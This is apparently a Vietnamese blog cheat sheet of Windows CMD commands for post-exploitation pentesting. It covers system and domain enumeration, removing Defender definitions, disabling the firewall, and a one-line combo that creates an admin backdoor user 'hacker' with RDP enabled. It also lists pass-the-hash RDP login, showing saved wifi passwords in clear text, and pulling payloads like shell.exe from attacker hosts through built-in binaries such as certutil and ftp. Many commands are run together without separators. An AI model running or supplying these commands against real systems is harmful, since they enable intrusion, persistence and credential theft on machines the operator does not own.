Trong bài viết này, mình sẽ liệt kê ra các lệnh CMD thông dụng và cơ bản nhất mà các pentester Windows hay sử dụng. Do bài viết này mang nhiều tính chất kỹ thuật, nên mình sẽ không giải thích chi tiết các câu lệnh đó. Mà chỉ nói sơ qua về tác dụng của lệnh. Nếu bạn không sử dụng được bất cứ lệnh nào thì 1 là bạn nhập sai cú pháp, 2 là lệnh chưa được cài đặt trên hệ thống nên không sử dụng được.
Các lệnh CMD liên quan đến System cho Pentester
Trước tiên tại sao khi Hack vào Windows bạn cần biết những lệnh cơ bản này. Bởi vì khi đã kích hoạt được Shell trên Windows, việc tiếp theo là bạn cần tắt Firewall, tạo thêm User dự phòng để sau này Login lại…
Vì thế nắm vững các lệnh dưới đây các Pentester sẽ tiết kiệm nhiều thời gian hơn khi khai thác lỗ hổng Windows.
Thông tin của phiên bản và bản vá
Xem kiến trúc hệ thống: wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
Thông tin đầy đủ của hệ thống: systeminfo
Xem tên hệ điều hành và phiên bản: systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
Xem bản vá: wmic qfe get Caption,Description,HotFixID,InstalledOn
Hostname: hostname
Xem driver của bên thứ ba: DRIVERQUERY
Environment
Liệt kê tất cả các biến môi trường: set
Một số biến env cần biết:
- COMPUTERNAME: Tên máy tính
- TEMP/TMP: Thư mục Temp (lưu file tạm)
- USERNAME: Tên username
- HOMEPATH/USERPROFILE: Đường dẫn Home
- windir: C:\Windows
- LOGONSERVER: Tên của domain controller
- USERDNSDOMAIN: Domain sử dụng DNS
- USERDOMAIN: Tên Domain
Yêu cầu DNS cho PC: nslookup %LOGONSERVER%.%USERDNSDOMAIN%
Ổ đĩa được kết nối
wmic logicaldisk get caption 2wmic logicaldisk get caption,description,providername
Anti Virus
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:Listsc query windefend
Xóa các quy tắc bảo mật của Defender (hữu ý cho máy không có internet): "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Recycle Bin
dir C:\$Recycle.Bin /s /b
Processes, Services & Phần mềm
Chi tiết các nhiệm vụ đã lên lịch:
schtasks /query /fo LIST /vschtasks /query /fo LIST 2>nul | findstr TaskNameschtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
Danh sách các processes: tasklist /V
Các processes bật services: tasklist /SVC
Các Services Windows đang hoạt động: net start
Danh sách các services: wmic service list briefhoặc sc query
Các phần mềm 64bit đã cài đặt: dir /a “C:\Program Files”
Các phần mềm 32bit đã cài đặt: dir /a "C:\Program Files (x86)"
Các phần mềm đã cài đặt: reg query HKEY_LOCAL_MACHINE\SOFTWARE
Thông tin Domain
echo %USERDOMAIN% #Tên Domainecho %USERDNSDOMAIN% #Tên Domain khi máy tính có đăng nhập vào Domainecho %logonserver% #Tên domain controllerset logonserver #Tên domain controllerset log #Tên domain controllernet groups /domain #Danh sách domain groupnet group "domain computers" /domain #Danh sách PC đã kết nối với domainnet view /domain #Danh sách PC của domainnltest /dclist:<DOMAIN> #Danh sách domain controllersnet group "Domain Controllers" /domain #Danh sách tài khoản PC của domains controllersnet group "Domain Admins" /domain #Danh sách user có đặc quyền quản trị domainnet localgroup administrators /domain #Danh sách các admin group bên trong domain (bao gồm cả group "Domain Admins")net user /domain #Danh sách tất cả user của domainnet user <ACCOUNT_NAME> /domain #Thông tin về user
net accounts /domain #Xem mật khẩu và giới hạn đăng nhập hiện tại của domain
nltest /domain_trust #Lập bản đồ các mối quan hệ của domain
Logs & Events
Thực hiện truy vấn bảo mật bằng thông tin đăng nhập: wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
Users & Groups
Users
whoami /all #Tất cả thông tin về bạn
whoami /priv #Chỉ hiển thị các đặc quyềnnet users #Tất cả các userdir /b /ad "C:\Users"net user %username% #Thông tin về user (bạn)net accounts #Thông tin về mật khẩuqwinsta #Có ai khác đã đăng nhập không?cmdkey /list #Danh sách các chứng chỉnet user /add [username] [password] #Tạo user
#Mở cmd.exe mới với các creds mới (để mạo danh trong mạng)runas /netonly /user:<USERNAME>\administrator cmd
tại đây#Kiểm tra phiên đăng nhập hiện tại với tư cách là quản trị viên bằng cách sử dụng phiên đăng nhập từ sysinternals. Đọc thêm logonsessions.exelogonsessions64.exe
Groups
#Local
net localgroup #Tất cả các group tồn tạinet localgroup Administrators #Thông tin về group group (admins)net localgroup administrators [username] /add #Thêm người dùng vào administrators
#Domainnet group /domain #Thông tin về group domainnet group /domain <domain_group_name> #Người dùng thuộc group
Danh sách các sessions
qwinstaklist sessions
Chính sách mật khẩu
net accounts
Thêm người dùng vào group
# Thêm user domain vào Group Domain Adminsnet user username password /ADD /DOMAINnet group "Domain Admins" username /ADD /DOMAIN
# Thêm local user vào group local Adminsnet user username password /ADDnet localgroup Administrators username /ADD
# Thêm user vào các group khác:net localgroup "Remote Desktop Users" UserLoginName /addnet localgroup "Debugger users" UserLoginName /addnet localgroup "Power users" UserLoginName /add
Network
Interfaces, Routes, Ports, Hosts và DNSCache
ipconfig /all #Thông tin về interfacesroute print #Xem các routes hiện cóóarp -a #Thông tin về hostnetstat -ano #Các port đang mởởtype C:\WINDOWS\System32\drivers\etc\hostsipconfig /displaydns | findstr "Record" | findstr "Name Host"
Firewall
Thông tin về firewall và các port đang mở:
netsh firewall show statenetsh advfirewall firewall show rule name=allnetsh firewall show config # Thông tin firewallNetsh Advfirewall show allprofiles
Tắt và bật firewall:
NetSh Advfirewall set allprofiles state off #Tắt FirewallNetSh Advfirewall set allprofiles state on #Bật Firewallnetsh firewall set opmode disable #Tắt firewall
Cách mở port:
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139netsh firewall add portopening TCP 3389 "Remote Desktop"
Bật Remote Desktop:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /fnetsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #Không cần thiết
::sc config TermService start= auto #Không cần thiết::net start Termservice #Không cần thiết
Bật Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /fnetsh firewall set service remoteadmin enable
Combo ninja (user admin mới, cho phép RDP + Rassistance + Firewall)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup “Remote Desktop Users” hacker /add & reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 “Remote Desktop” & netsh firewall set service remoteadmin enable
Kết nối với RDP (sử dụng hash hoặc mẩt khẩu)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
Share
net view #Lấy danh sách máy tínhnet view /all /domain [domainname] #Shares trên domainsnet view \\computer /ALL #danh sách máy tính tham gia sharenet use x: \\computer\share #Kết nối ổ với share
net share #Kiểm tra share hiện tại
Wifi
netsh wlan show profile #Xem SSID của wifi từng kết nối
netsh wlan show profile <SSID> key=clear #Xem mật khẩu wifi
SNMP
Đọc bài viết này để biết SNMP là gì?
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Network Interfaces
ipconfig /all
ARP
arp -A
Download
Bitsadmin.exe
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
CertReq.exeCertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
Certutil.execertutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
Desktopimgdownldr.exeset "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
Diantz.exe
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
Esentutl.exe
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
Expand.exe
expand \\webdav\folder\file.bat c:\ADS\file.bat
Extrac32.exe
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
Findstr.exe
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe
Ftp.exe
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
GfxDownloadWrapper.exe
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
Hh.exe
HH.exe http://some.url/script.ps1
Ieexec.exe
ieexec.exe http://x.x.x.x:8080/bypass.exe
Makecab.exe
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
MpCmdRun.exe
MpCmdRun.exe -DownloadFile -url <URL> -path <path> //Windows Defender executable
Replace.exe
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
Excel.exe
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
Powerpnt.exe
Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"
Squirrel.exe
squirrel.exe --download [url to package]
Update.exe
Update.exe --download [url to package]
Winword.exe
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
Wsl.exe
wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
Misc
cd #Đường dẫn hiện tạicd folder #Truy cập vào thư mụcdir #Danh sách các thư mục và file trong đường dẫn hiện tạidir /a:h *path #Danh sách các file ẩndir /s /b #Tất cả đường dẫn trongtime #Thời gian hiện tạidate #Ngày hiện tạishutdown /r /t 0 #Tắt máy tính ngay lập tứctype <file> #Đọc file
Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentialsrunas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
Ẩn file
attrib +h file #Bật ẩn fileattrib -h file #Tắt ẩn file
Cung cấp toàn quyền kiểm soát tệp mà bạn có
icacls <FILE_PATH> /t /e /p <USERNAME>:Ficacls <FILE_PATH> /e /r <USERNAME> #Xóa quyền
Sao chép đệ quy filexcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win
ADS (ADS là gì)
dir /r #Phát hiện ADSmore file.txt:ads.txt #Đọc ADSpowershell (Get-Content file.txt -Stream ads.txt)
Listen địa chỉ ACLs
Bạn có thể listen http://+:80/Temporary_Listen_Addresses/ mà không cần quyền adminnetsh http show urlacl
DNS shell
Bạn sử dụng một trong 2 tùy chọn sau:
Victim
kỹ thuật for /f tokens _**_: Cho phép mình thực hiện lệnh, lấy X từ đầu tiên của mỗi dòng và gửi nó qua DNS đến máy chủ của mình.
Bạn cũng có thể chuyển hướng đầu ra và sau đó đọc nó.
Gọi CMD từ code C
Trên đây là các lệnh pentest cmd cơ bản dành cho Windows, các bạn nào muốn tìm hiểu sâu về pentester thì có thể vào server Discord mới của Anonyviet nhé.
